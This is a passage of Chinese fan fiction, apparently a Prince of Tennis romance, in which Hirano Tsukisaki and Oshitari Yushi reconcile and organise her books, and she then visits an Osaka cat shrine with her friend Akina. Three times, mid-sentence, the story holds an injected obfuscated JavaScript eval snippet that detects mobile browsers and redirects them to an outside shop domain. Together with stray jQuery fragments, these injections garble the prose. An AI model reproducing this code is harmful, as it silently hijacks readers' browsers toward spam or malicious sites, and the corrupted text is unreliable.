话剧部的新成员们在周二正式入部,性格各异,但一周下来,大家都相处得很融洽,平野月咲相信以后部活的开展也会很顺利。 她懒懒躺在客厅的沙发上,十几箱书堆在客厅——不能总是这样对着,她下定决心一定要把它们给整理了。 手机震动,是秋奈的简讯: [链接] [最近超火的一个神社,据说很灵验,想约月咲一起去] 平野月咲点开链接,是一位博主去某家神社的Vlog。 好嘛,时代在发展,神社也要靠平台宣传了。 秋奈:[在大阪哦,风景特别美!超适合放空自己!] 秋奈:[去嘛去嘛/撒娇] 平野月咲想了想回道:[周日可以吗?周六我想理一下书房] 秋奈:[没问题!] 门口传来轻微的动静,平野月咲以为管家送来她的外卖,一开门,她和门外的人皆是一愣。 “……忍足,你找我?” 忍足侑士点了下头,对上她疑惑的目光,有些紧张地摸了摸口袋,手心传来毛绒绒的触感。 气氛略微尴尬。 这一周两人都没怎么说话,平野一定是认为他说话轻浮…… 因此他买了礼物,准备郑重地来道歉。 本来是准备把道歉礼物放在平野家门口就走的,谁知道对方竟然开门了。 可是突然提起那件事的话…… “平野,我们是朋友吧?” 好烂的开场白。 忍足侑士疯狂吐槽自己,简直就像怕告白失败还要说着继续做朋友。 “啊,当然。” 忍足侑士定了定心神,索性直说:“思来想去,周一说的话十分欠妥……我是来道歉的。” 平野月咲微微惊讶,笑了下:“忍足,我没有生气。” “嗯,我知道平野脾气很好,只是我觉得我做得不对,也不想失去你这个朋友……” 因为在意,所以无法做到忽视。 意外么……平野月咲想更多的应该是高兴,从心底慢慢滋生,填满整个胸腔,涨涨的。 她笑着摇摇头:“不会,很高兴能和你成为朋友,忍足。” 这是忍足侑士这一周以来见到的最明媚的笑容,他悬着的那颗心终于落下。 “平野喜欢企鹅对吧。” “嗯?” 忍足侑士抽出插在口袋里的手,张开,一只小小的毛绒挂件垂落。 黑白灰三色,在平野月咲面前晃啊晃。 “这是道歉礼物。”忍足侑士语气认真,“我想请平野收下。” 平野月咲伸出双手。 小企鹅慢慢地小心翼翼地落在她掌心,与此同时她仿佛感受到忍足侑士手心的温度。 只是未触碰到对方便离开。 企鹅小小的,两点豆豆眼,憨态可掬。 和它对视片刻,心柔软得一塌糊涂。 平野月咲收拢手心,抬眸看忍足侑士:“我很喜欢。谢谢你,忍足。” 忍足侑士弯了下唇,心情轻松。 这样他再也不会在训练的时候被迹部发觉心不在焉而加练了,每天多做的那一百个挥拍有够累的。 “那我走了。” “好,再见。” “再见。” 平野月咲注视着他高大挺拔的背影,说不上来心中滋味。 每一次靠近都能在她心中掀起涟漪的忍足侑士…… 许是迟迟没有听到她这边关门声,他在输完密码时回头了。 隔着几步远的距离和她视线相撞,看不清平光镜下眼底的真实情绪。 平野月咲掌心摩挲了下挂件的绒毛,痒痒的。 “忍足,明天有空吗?” 他脸上掠过一丝诧异,随即又恢复了一贯从容的笑意。 “有空。” “我的书还没有整理,如果忍足愿意帮忙的话……”平野月咲停顿了下,“我请你吃饭。” “好……正好岳人走了,我一个人吃饭感觉很孤单。” 平野月咲轻轻笑了声:“那这样说定了。” “嗯。” 忍足侑士应一声,平野没有动,似乎在等他先进门。 于是他又忍不住带有一点私心地说:“晚安。” 几秒后女生开口回应:“晚安。” 像一片羽毛拂过他心头,忍足侑士今晚可以有个好梦。 - 周六,平野月咲起床的时候,手机里躺着好几条简讯。 全部来自忍足侑士。 七点:[早上好平野,我出门晨练,要帮你带份早饭吗?] 九点:[我猜平野熬夜了] 十点:[至少是凌晨两点睡的吧/昏倒] 十一点:[平野,还在睡吗?] 对方似乎没想到她这么能睡,在十二点也就是五分钟之前,又发来一条:[中午好……] 像是完全没辙了。 平野月咲失笑,打字回复:[中午好,我在约定的时间之前醒来了,请不用担心] 她其实有在特意调整作息,前几天会强迫自己十二点前睡觉,可一想到周末不用早起,又忍不住多熬夜了一会。 两人约定的时间是下午两点,以防万一,她给自己定了一点的闹钟,不会醒不来。 忍足回复得很快:[真是万幸呢……] 平野月咲拉开窗帘,阳光顷刻间洒满整个房间。 洗漱后她煮了把意面,又从冰箱冷柜里拿出之前熬好的番茄肉酱,和煮软的意面一起加工,再盛进她买的漂亮餐盘,撒上黑胡椒欧芹碎,也是有模有样的一顿饭。 方便还不难吃。 不想叫外卖的时候平野月咲就这样凑合。 门铃响起时平她正在捣鼓咖啡机。 忍足侑士穿着件白色的T恤,发型是精心打理后的慵懒随意,在见到平野月咲的时候露出一个浅笑。 “下午好,平野。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454813|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下午好,忍足。”见他被室内的动静吸引,平野月咲解释,“在磨咖啡豆。” 她将忍足侑士迎进门,递过去他之前穿的那双拖鞋。 其实就那么几步路,他竟然要换两次鞋。 对方显然也是一样的想法,露出微微苦恼的表情:“失策了,我应该直接穿室外拖鞋过来。” 平野月咲自然而然接话:“那下次记得。” 这个“下次”让两人都一怔。 平野月咲敛眸笑笑,率先走回屋内。 “忍足要喝咖啡吗?” 她在咖啡机上继续动作。 这是忍足侑士第三次来平野家,第一次是帮忙搬家,那时候客厅空得过分,第二次是她发烧的那天,根本没有心思多留意。 室内光线明亮,摆了一些装饰物,依旧很简约。 “谢谢,我不用。” “那我给你倒杯水,要冰的吗?”平野月咲看向站着的客人,“先在沙发上坐一下,我马上就好。” 她素着一张脸,皮肤白皙,眼下淡淡乌青,一看就是又熬夜了。 忍足侑士移开目光:“常温就好。” 他在想作为朋友,应不应该流露出这样的关心。 会让对方觉得他太强势没有边界感吧? 趁咖啡机运转的间隙,平野月咲倒了杯水给他。又从冰箱里取出牛奶,冰块,和萃取好的咖啡液做成一杯冰拿铁。 午后的阳光透过落地窗洒向沙发上的少年,为他深蓝色的发丝镀上一层光晕。 面容俊美,是很多女生都会心动的类型。 许是发型的原因会让人觉得他是什么花心的人。 平野月咲不赞同,他很真诚,她明明确确感受到了。 “平野爱喝咖啡这一点,完全不像同龄人啊。” 她的思绪被忍足侑士突如其来的感叹拉回。 “咖啡像是无聊的大人会喝的,对吧?”她笑了下,搅拌着拿铁,“其实倒也没错,偶尔我也觉得我和无聊的大人没有差别……” 本意是想要关心她的忍足侑士被这一番话弄得有些手足无措。 平野月咲见他皱眉,又笑了:“骗你的,现在超级流行的珍珠奶茶我也爱喝。” 有些奶茶的提神功效甚至比咖啡还好使,要是晚上喝,睁眼到天亮完全不是问题。 忍足侑士无奈:“哪里无聊,平野是个很有趣的人。” 看似随和,实际上也会有点小恶劣,上次合伙捉弄过岳人,现在轮到他被捉弄了…… 平野月咲看着他那张精神面貌良好的脸,问:“忍足应该没有失眠的苦恼吧?” “确实没有。” 就算偶尔有看小说想要一口气看完的时候,忍足侑士最晚也会在一点入睡。 他看着少女瘦削的身形,“如果平野每天的运动量有我的一半……不,三分之一,也肯定不会失眠。平野没有喜欢的运动吗?” 喜欢的运动? 若论稍微擅长的运动,那应该是滑雪。 平野月咲是在北海道出生长大的,早早就掌握了滑雪这项技能,但和父母搬回东京都后就很少再碰。上次和秋奈去雪场玩了半天,滑的时候没感觉,一结束电量瞬间清零。 但喜欢的运动—— 平野月咲蹙眉思索半天后找到一个答案:“拉伸运动。” 15. 015 忍足侑士闷咳一声,也差点被水呛到。 “这个……算是运动吗?” 平野月咲认真点头。 怎么不算? 拉伸不但不累,还会有种爽感。 “如果不是要亲自运动,网球我也很喜欢,怎么说呢……我觉得你们打网球的声音非常好听。” 当然前提是不会出现一些莫名其妙的招数。 “平野是指击球声?” “对,像这样。” 平野月咲打开手机,找出一段音频播放。 听了十几秒,忍足侑士便指出:“是在练发球。” “嗯?” “没有来回对打的节奏,只有击球和轻微的球落地的声音。”忍足侑士目光幽怨,“平野,不管怎么说我也是冰帝的网球部正选,不是职业也是专业的吧。” “抱歉抱歉,这是我拜托赤也录的。”平野月咲不好意思笑笑,“他说录对局的话会有人声,很吵,而且训练时玩手机要挨训,他们副部长可凶了。” “原来是切原君的发球声。” 这点忍足侑士倒是不意外,只是—— “怎么感觉力量退步了?” 比赛中了解对手是很重要的一环,他们时常会分析各校的比赛视频,特别是那几所强敌学校,其中立海大是最不容小觑的存在。 切原赤也是速攻和力量型选手,这个发球的声音,不论是力量和速度都比去年的水平弱很多。 是为了给姐姐录音频有意收敛吗? 平野月咲更惊讶了:“这也能听出来吗?这是两三年前录的,我一直保存着。” “平野很喜欢?” “特别解压,我还听过乒乓球羽毛球,都没有网球声好听。” “完全是让人意想不到的喜欢网球的理由。”忍足侑士认真思考,赞同,“不过我试着代入了下,如果没有声音,打网球确实要少一大半乐趣。” 平野月咲很开心他的理解,关掉一直响的音频:“好了,网球话题暂停,开始我们的大工程吧。” “嗨嗨。”忍足侑士从沙发上站起来。 “稍等我一下。” 平野月咲从橱柜里拿出两把剪刀,将一把调了个方向,握着尖头递给忍足。 “我们先把书拆完再整理?” 忍足侑士没有异议。 他们开始拆箱。 平野月咲再次发现他也是个很细心的人——他一点点剪开封箱胶带,不是为了省事划开。 每本书都被搬家公司用纸张一层层包裹着,箱子内壁还放了泡沫纸,保护得很好,只是这样一来,拆的时候就很麻烦。 她偷偷看着他动作。 忍足侑士将拆下来的纸铺在地板上,书籍一本本叠放在上面,多余的纸和泡沫纸留在箱中,拆完把空箱放在一边。就这样再拆另外一箱。 随着他拿放的动作,手臂牵动出流畅漂亮的线条。 在描写运动型男主的时候平野月咲会有意刻画他的肌肉展现魅力,这样的薄肌就很好…… 想摸一摸…… “平野。” 平野月咲心口蓦地一跳,迅速瞥走视线,脸上升起一股热意。 “要不要再去休息一会,我来就好。” 她的气色看起来比刚刚好了一点,奇怪……怎么在出神。 “没关系,谢谢你。” 还好没被发现。 怎么说也是话剧部成员,平野月咲自然地笑了下,加快了手下的动作。 两人拆了一箱又一箱,空箱子堆在门口,书十本一叠,占据客厅一角。 忍足侑士将剩下的几大箱子书搬出来,在空地板上继续拆。 专注着干活,刚刚升起的不正当心思已经被平野月咲压下。 没过一会,又传来忍足侑士的声音。 语气激动,神色惊讶。 “平野,这是什么……?” 他手里正拿着一本粉色封面的书。 平野月咲看一眼:“忍足,花季少女爱看这个很正常吧。” 她自己吐槽自己,“我可不是什么只爱看文学著作的古板人设。” 女高中生喜欢看恋爱小说,确实很正常。 但这一箱子书,忍足侑士越拆眉头皱得越深,一箱拆完,全是来自笔名为“满月”这位作者的书,甚至同一个书名有好几个版本。 他的表情有点古怪,平野月咲面色如常,和他解释:“就像有些人喜欢追星一样,我是她的死忠粉。” 忍足侑士的心底生出一股找到同好的喜悦,也有非常想上去相认的冲动,想告诉她“这么巧,我也喜欢看,你看她上周发的那篇了吗,写得真好”…… 他忍住了。 他看恋爱小说这件事不是所有人都知道的,而且他本人会觉得有点羞耻。 如果平野认为花季少男不该看这些,说出不能理解好恶心之类的话,他脆弱的心灵恐怕难以承受。 他推了下眼镜,淡定地回应:“原来是这样。” “对,就是这样。” 对话就此结束,忍足侑士深感遗憾。 十几箱子书拆完,平野月咲带着忍足侑士来到书房。 同一栋公寓的户型是一样的。 忍足侑士发现平野家是将次卧改成了书房,整个房间铺了地毯,两面墙做了满墙书柜,半包围着书桌,书桌简洁干净,令人惊讶的是显示屏有两台。 两人来来回回二三十趟终于将客厅的书搬完。 平野月咲拿起书桌上的水杯喝一口,看向堆满书房地毯的书长长呼出一口气。 “我有点不行了……” 她的体力真的很差劲。 忍足侑士双手环胸倚在书柜边,眼中都是笑意:“要多运动哦。” 平野月咲一累就不想说话,朝他笑了笑。 “那只好我来帮平野整理了。”他弯腰拾起几本书,“这些应该放什么位置?” 平野月咲想了下,指着左边的书柜:“历史类放那里吧,中间层。” “这些呢?” “放上面一层吧。” 心跳尚未完全平复,平野月咲握着水杯,望着忍足侑士来回整理的身影,偶尔他会回头再次确认书籍摆放的位置。 唇边不自觉漾开柔软的笑意。 她好喜欢这种温馨的感觉。 忍足侑士发现她喜欢看恋爱小说,但只买“满月”的作品,其他圈内出名作者的一本都没见到。 余下的几百本书什么类型都有,从诗歌到小说,从历史学到天文学,还有名人传记、写作指导之类。 直到他在整理时看到—— 《恋爱心理学》以及下面的《分手心理学》、《女追男攻略指南》…… “平野。”忍足侑士向她示意那两本心理学的书,“可以看看吗?” “可以啊。” 下意识地回答后,平野月咲才看清封面上的书名。 《分手心理学》?他真的失恋了? 她敛下心神:“既然看到这本书… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454814|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …忍足,有一个问题想要咨询你。” 忍足侑士抬头:“什么,平野?” “关于结束一段感情后多久适合开始下一段感情这件事……”平野月咲问得含蓄,“我想听一下你们男生的想法。” 忍足侑士怔了怔,看向女生的眼睛,困惑……是想要从他这里得到答案吗? 他推了下眼镜,努力用开玩笑的轻松语气说:“如果说只要有合适的人就可以尝试,会不会被认为是渣男?” 又反问,“平野觉得呢?” 心头各种复杂的情绪交织,差点冲破他的伪装。 “刚分手也无所谓吗?”平野月咲紧紧捧着杯子,水面小幅度晃动,“无论如何也都该处理好上一段感情,而不是为了治疗情伤开始新恋情吧?” 分手? 忍足侑士有些不明所以了,但他认同这个观点。 “这是必需的吧?”他蹙眉,“不然也太不公平了……” 谁都不想成为被替代的人不是吗。 他见女生也蹙了下眉,又舒展,浅浅对他展露一个微笑:“是啊……这是我一个朋友最近的困扰,我会将你的想法传达给她的。” 原来她不是在给自己找答案。忍足侑士面无表情地点了下头。 平野月咲心情愉悦地将整杯水喝完,走到忍足身旁加入整理书籍的行列。 忙活一下午,总算全部整理完,却也只堪堪装了半面墙,因为拿取不方便,顶部的几格还空着。 晚饭是他们成为邻居那日同一家店的寿司,边整理边聊天时得知忍足侑士竟还没吃过,平野月咲果断下单预定了外送。 忍足侑士也再一次被她的有钱程度震撼。 虽然升学后零花钱也涨了,但勤俭持家的他还是自己做饭比较多,偶尔外食,零花钱有其他用途。 外送的价格有时比堂食要贵上些许,还要支付高昂的配送费,忍足侑士几乎不会使用。 他想平野一定是父母都不在身边所以加倍用金钱弥补……嘛,这些都不重要。 吃着寿司,忍足侑士并没有将话题转到那日。 “平野,有几本感兴趣的书,之后能借给我吗?” 她抬眸,嘴里嚼着寿司,点头。 说来她的眼睛其实圆圆的,做这个动作的时候好像兔子。 平野月咲咽下食物说话:“借给忍足的话我绝对放心。” 忍足侑士发出一声短促的轻笑:“好像岳父要把女儿交给女婿时说的话……交给你的话我绝对放心之类。 “看来我和你的书相处一下午建立了深厚的信任。” 或许这就是关西人的幽默天赋,平野月咲也很给面子地笑了。 “忍足想要借什么书?” “《草叶集》,《不畏风雨》这些……” 和他之前有探讨过诗人,又在他家茶几上看到过聂鲁达的那本诗集,平野月咲顿有所悟。 “我猜忍足也是个浪漫主义者。”平野月咲又想到他平日里的冷静从容,做什么事都游刃有余的样子,“我没猜错吧?” “没猜错。”从书单就被看透的忍足侑士挑挑眉,“也?” “我也是。” 她回答的的时候眼睛微弯,有一种发现同类的喜悦。 “不过平野涉猎的书很杂,社会百科,心理学,天文学……”忍足侑士顿了下,“星星我看完了,确实很浪漫。” 他有好好看她送的书。 平野月咲心下欢喜,笑意深了许多,眉眼弯成月牙。 16. 016 东京去往大阪单程是两个半小时,一天来回在路上花费的时间要五六小时。 平野月咲在闹钟响起之前醒来。 昨晚她听着许久未听的网球击球声入眠,睡了个好觉,看来网球声又要再一次成为她的助眠ASMR。 只是这一段太熟悉了,得再拜托赤也录点不同节奏的。 在弟弟的影响下,平野月咲曾学过一段时间网球,打得并不是很好。 挥动球拍击中那颗黄色小球发出的清脆或沉闷的声响,是打网球最爽的时候,但这也改变不了这项运动很累的事实。 她只断断续续地玩,买的球拍也没带回东京。 平野月咲又躺一会,直到闹钟响了才起床。 女生结伴出行总是会互相沟通,就像“我要化妆”,“你化妆吗”,“我不想洗头怎么办”,各有各的潜台词。 昨天秋奈大小姐特地通知:[我明天要化个超美的妆!] 一样的简讯连续发了三条强调。 她决定把前两天妈妈特地从国外寄来的裙子拿出来穿。 是一条宽松的米色长裙,苎麻材质,垂坠有质感。平野月咲怕冷,又搭了同色系的针织件小披肩。 等妆容发型完成,秋奈的简讯也发了过来:[马上到你家楼下] 平野月咲检查了一遍帆布包里的物品,才放心出门。 藤沢秋奈穿了明黄色的裙子,见到月咲时更是绽出一个灿烂笑容,让人眼前一亮。 她走进,秋奈向她行了个绅士礼。 “这位美丽的小姐,可以给我你的联系方式吗。” 平野月咲正想说“少来”,后边传来几声警告的咳嗽声,她向后看去,停在路边的高级轿车里坐着秋奈的未婚夫,遂敛了笑意向他微微颔首。 “赤崎。” 赤崎真树回礼,脸上淡淡的没什么表情:“平野。” 平野月咲已经习惯和他这样相处:“我会照顾好秋奈的,请放心。” “麻烦你了。” “好啦,拜拜。”藤沢秋奈打断两人的寒暄,笑眯眯挥手,“真树,我会想你的。” 她故意夹着声音说话,腻得不行,平野月咲后退几步,给两人让出更多空间。 这个位置刚好捕捉到京都贵族做派,被秋奈吐槽“小古板”的赤崎真树眼中流露出的无奈和柔情。 又磕到了。 送走未婚夫,藤沢秋奈彻底放飞自我:“走吧,月咲,今天是自由的一天!” 从东京到大阪,乘电车比开车更方便,所以她们直接约在平野月咲家楼下见面,这是秋奈大小姐早就计划好的。 她约的人,自然也是她做计划。 “网上说那家神社附近的大阪烧特别好吃,我们中午就吃那个吧!” 等到大阪也刚好是午饭时间。 平野月咲被她挽着,两人往电车站的方向去:“好好好,都听你的。” 神社不是很出名,小时候在大阪住过的平野月咲根本没听说过。据说是供奉的是“猫之神”,最近才流行起来,求健康很灵验。 在站内没走几步,平野月咲被秋奈拉住,她指着标识牌:“月咲,我觉得是那边。” 平野月咲定睛一看,东京站的箭头竟然指向另一个方向,微微叹气:“你说得对。” “月咲是半个路痴嘛,我就多留心了点。” 她只是方向感不好,一条路走过几遍是可以记住的,但东京的电车线路图真的要研究很久才能看懂。 她们先坐到东京站,再搭新干线前往大阪。一路上谁也没说话,也没心情看风景,各自闭着眼休息,一出站又恢复活力。 大阪这个城市也比东京有活力得多,路人交谈的关西腔在平野月咲听来很亲切。 “大阪和东京完全不一样。” “秋奈,上次你也是这样感慨的。” 上次两人来大阪是为购物,这次行程紧张,她们直接打车前往神社。 春至中旬,阳光温暖而不炙热。 平野月咲一下车,竟被阳光照得有了些许困意。 这个时节很适合躺在草地上睡觉,把暖融融的阳光当被子,已经全冒出来的嫩草不扎人,当做枕头正好,闻着清冽的青草气息,肆无忌惮地感受春天。 明明睡了个好觉,此时竟又想找块草地躺下。 一定是没喝咖啡的原因。 平野月咲眯了眯眼,转头问秋奈:“要不要先吃午饭?” “当然呀。”藤沢秋奈将手机转向她,是导航页面,两人的想法不谋而合,“上神社还得爬台阶,要先填饱肚子。” 大阪烧店离神社很近,步行五分钟,店面不大,不过藤沢秋奈也不是娇气的性格,大小姐反倒很喜欢小店里的氛围和烟火气。 能看到厨师现做料理的吧台位置已经坐满了,两人在角落里的小桌落座。 大阪烧上桌,木鱼花下一层致死量的美乃滋,平野月咲顿感大事不妙。 藤沢秋奈还没意识到事情的严重性。 怀揣着期待的心情吃一大口,嚼两下,转头看向月咲。 不好吃。 平野月咲从她哀怨的眼神里读懂她的意思,她也悲伤地点点头。 就算她把美乃滋扒拉到一边,这家店的酱汁也偏甜许多,面糊也多了,整体口感过于黏糊。 有四分之一大阪血统的平野月咲判定这份大阪烧超级不合格。 平野月咲刻意挑着蔬菜吃,吃了几口还是兴致缺缺地放下了餐具,对面的藤沢秋奈也一样,两人对视一眼,走出这家店。 “可恶,被骗了……”藤沢秋奈扁扁嘴,但说,“事已至此,先找点其他东西吃吧。” 平野月咲笑笑:“简直没什么能打倒你。” “不,如果这个神社也和我在网上看到的不一样,那我要毁灭地球。”说着藤沢秋奈朝空气挥了一拳。 最后两人找了家不出错的西式简餐店随便吃了点。 去往神社需要上一段小小的台阶。 春正盛,两边一片绿意盎然,朱红色的鸟居很是醒目,匾额上没有题字,刻着一只神色庄严的猫像。 藤沢秋奈带着平野月咲来到净手池前,上面也有只小型的猫石像:“参拜前洗手,可以洗去霉运哦。” 两人完成净手礼仪,来到主殿参拜,鞠躬、拍手、鞠躬,向神明说出自己心中的愿望。 “月咲求了什么?”出来后藤沢秋奈好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454815|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇地问。 “健康啊,不是说求健康最灵验嘛。” “其他的也可以求啦,猫之神可灵验了,我在网上看到他们说求学业和姻缘也很准哦。”说到这,藤沢秋奈点点下巴,“……不过月咲会想要谈恋爱吗?” 这个问题并不是第一次问,每次得到的也都是肯定答案。 但她会忍不住怀疑好友是不是因为创作的男主太完美而封心锁爱了。 “那我再去拜一拜……神明会觉得我太贪心吗?” 嗯?这个回答…… 她一转头,就见月咲笑眯眯地看她,瞬间不可思议地瞪大眼。 “谁!是谁!” 两人之间没有不能说的秘密,坐到休息区后小声聊起了天。 “怪不得忍足君向我问起你!”藤沢秋奈恍然,她竟然以为只是同学间的关心。 “长相是很帅气,会运动,声音好听,细心,可靠,体贴绅士……”细数了一堆忍足侑士的优点,又眉头紧锁地摇了摇头,“可是对方看起来很会谈恋爱。” 像是轻易掌控女孩心思的那种人。 “秋奈,我是笨蛋吗?”平野月咲笑笑,“我有怀疑过他是为了治疗情伤接近我……不过我昨天试探了下,是我误会了。 “我知道我想要的爱情是什么样的,而且,心动很可贵诶!秋奈知道那种感觉很不可思议吧?” 平野月咲回忆着又笑起来,“不要忘了当初我是怎么为你们的爱情奔波劳累的,别小看我哦。” 很会谈恋爱?她有点想看看是多会谈…… 为了写好感情线,她从各个地方汲取杂糅了丰富的理论经验,秋奈和赤崎的红线有她一半的功劳。 “我怎么能小看我的军师大人!”藤沢秋奈挽进月咲的臂弯,又将脑袋靠在她肩上蹭了蹭。 多亏了月咲出谋划策才让未婚夫先向她低头。 她可一直觉得月咲要是想追谁,略施小计,对方保准乖乖上钩。 偏偏是忍足侑士。 之前她是有和月咲辟谣过忍足花心的传言,但国中两人同校不同班,接触并不多……她不想以貌取人,可一旦牵扯上最好的朋友,又会下意识往最坏的地方想。 真是矛盾。 犹豫了下,藤沢秋奈还是建议道:“再多了解一些吧,你们认识的时间未免太短了。” 平野月咲郑重点头。 她没有再拜神明——许两个心愿太过贪心,将最没把握的托付给神明就好。 分享完少女心事,两人挽着手来到占卜台。 在猫猫像前投入200日元,抽取一张纸签,放到旁边流水的小池里,签文会慢慢显现。 平野月咲抽到的签文上慢慢显示出“末吉”,藤沢秋奈的则为“大吉”。 【末吉】 疾病:宜小心 恋爱:等候时机 学业:不宜怠慢 遗失物品:问于人,会出现 【提示:小心水】 “啊……”藤沢秋奈轻叹,“说不定不准呢。” 占卜是指引而非有定数的未来,平野月咲宽慰她:“末吉比凶好。” 藤沢秋奈仍然不放心:“还是留在神社吧。” 17. 017 凶签留在神社可以请神明化解,末吉在凶之上,但占了个“末”,也并不顺利,有些人会将末吉的签条也留下。 结签处已有不少签条,平野月咲边绑边开玩笑:“我回去要离水远一点。” 藤沢秋奈赞同:“还好下学期才会上游泳课。” 到了夏天,也就是第二学期,冰帝的夏天可以选修游泳课,其他两学期则是室内球类运动。 神社不大,不到一小时她们就逛得差不多,看了各样形态的猫猫雕像,逛回出口处又在授与所买了御守和各种可爱的小物件。 藤沢秋奈对可爱的东西没有抵抗力,拎着一堆陶瓷猫猫挂件直呼卡哇伊,挑选出一只最喜欢的挂在了今天背的包上。 平野月咲也高兴:“太好了,地球暂时安全了。” “……” “如果不吃中午的大阪烧,今天就是完美的一天。” 想起那可怕的味道,平野月咲表情也一言难尽。 真是不敢相信在大阪吃到了难吃的大阪烧,这就和在大阪吃到了难吃的章鱼烧一样。 但她知道哪里有最好吃的章鱼烧。 平野月咲看了眼时间,三点。又打开地图查询路线,这里到章鱼烧店,章鱼烧店到大阪站,中间零散的时间加上,她们最晚八点可以回到东京。 “要不要去吃超好吃的章鱼烧,弥补你完美的一天。” 藤沢秋奈的眼睛唰一下亮起来:“好啊好啊。” 平野月咲说了规划,她还是说好。 “明天又要上学了,我要珍惜最后自由的时光。” 于是两人立马拦车前往,在半小时后到达平野月咲童年中No.1的章鱼烧店面。 等章鱼烧的时候,平野月咲指了个方向:“那边再往前走十分钟,就是我以前念小学的地方。” 制作章鱼烧的老奶奶闻言多看了平野月咲两眼,平野月咲注意到她的视线,解释:“我只在这边念了一年小学,您应该不记得我,但您这章鱼烧的味道我一直记得,在我心里排第一。” “啊呀,好孩子,真会说话。”奶奶被她逗得直乐,她的关西腔让人感觉亲切,热情直接,“肯定是小美女长成大美女了我才会认不出来啊。” 平野月咲也被她逗笑。 藤沢秋奈有印象:“就是你离开我的那一年。” 当初分别,两人就像生离死别似的抱头痛哭了一番。不过一年,她又转学回了东京。 “对啊。”平野月咲的目光中流露出些许怀念。 空气中很快就传来章鱼烧的香味,藤沢秋奈吸两下鼻子:“肯定好吃,香死我了。” 章鱼烧终于做好。 这是一家小店,桌椅简单摆放在外面。 两人正捧着章鱼烧朝座位走去,一道身影突然冲过来,平野月咲差点被撞上,秋奈眼尖拉住她,险险避开。 “好险。”平野月咲呼出一口气。 “差点章鱼烧就不保了。” 又有一阵风突然刮过,这次两人都被带到,一个踉跄,下意识互相扶着对方站稳。 但两盒章鱼烧“啪叽”一下都摔倒了地上。 还有道声音从前方破空而来。 “抱歉!我在追小偷!前面的小偷你别跑了!还敢和我大阪的浪速之星比速度!” 平野月咲嘴角抽动两下,为她的章鱼烧哀悼:“呵呵,大阪……很正常……” 藤沢秋奈望着前方快要消失的人影:“天呐跑得真快,是职业的田径运动员吗?” 感叹两句猛地发现自己才是受害者,“不对,我抽到的不是大吉吗?!” 四目相对,欲哭无泪。 事已至此,她们只能再买一份。这章鱼烧是一定要吃的。 章鱼烧奶奶不要她们的钱:“那孩子我认识,我看着长大的,很善良啦,又热心,经常帮忙追小偷……啊啦啊啦,别误会,现在治安还是很好的。” 藤沢秋奈惊讶:“……您眼神真好。” 她都只看得清个背影,发色是什么来着,棕色?栗色? 两人都坚持要给钱,是她们倒霉被撞了,怎么样都和章鱼烧奶奶没关系。一番拉扯,最后奶奶只收了一半的钱。 过程坎坷,吃到章鱼烧的那一刻她们感动地几乎要落泪。 这才应该是人间美味,那家大阪烧店就应该被大阪除名。 “我要再买一份明天吃,放冰箱应该不会坏。”藤沢秋奈眼泪汪汪,“可恶啊我不要离开大阪!” 离开前,每人又打包了两份,章鱼烧奶奶见她们如此捧场,每份又多送了她们两个。 回到东京的时间比预计早了二十分钟。 七点四十,平野月咲和藤沢秋奈在公寓楼下分别,目送赤崎家的高级轿车离开后也转身上楼。 她在忍足侑士家门口站定,小小深呼吸一口,按下门铃。 一秒、两秒、三秒……十秒、二十秒。 没动静。 不在家吗?那先回家……晚点发简讯问一下好了。 平野月咲正输着自家门的密码,身后忽然咔哒一声——门开了。 她保持着输密码的姿势回头,对上忍足侑士稍显诧异的眼神。 “我刚刚听见门铃响……” 是你吗? 还没问出口,平野已经朝他扬起一个微笑。 “是我。” 说罢按灭密码锁向他走去。 她今天简直漂亮得让人移不开眼睛。 黑长发在侧边盘起,耳畔垂下几缕卷发,衬得人格外温柔。行动时,长至脚踝的裙摆也会跟着轻晃。 忍足侑士突然很后悔没有进行外貌check……头发还没吹干! 胡思乱想间平野已经走到面前,保持着合适的社交距离。 他扬起一个完美的笑容:“晚上好,平野。今天出去玩了吗?” 这个距离……她眼睛好大啊,还闪闪的,自然地眨眼也像在放电。 “去了大阪。” “大阪?来回得六七小时……” 平野月咲点点头,鼻尖嗅到他身上沐浴后的清香,不知道是洗发露还是沐浴露的香味…… “和秋奈去参拜了一家最近很火的神社。” 平野月咲将拎着的塑料袋提高。 “章鱼烧,但是凉了……不过忍足也已经洗漱了吧。”她取出一个打包盒递过去,“放冰箱里明天也可以吃。” 忍足侑士胸中有股情绪呼之欲出,不敢置信地问:“是那家……” “道顿堀第二小学附近那家, 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他知道他们正在越界,但这个度很难把握,如果能有把尺子可以一点点丈量他可以越过的距离该多好。 “我有点累了,那我就先回去了。” 忍足侑士抿抿唇,听到这句话又觉莫名地失落。 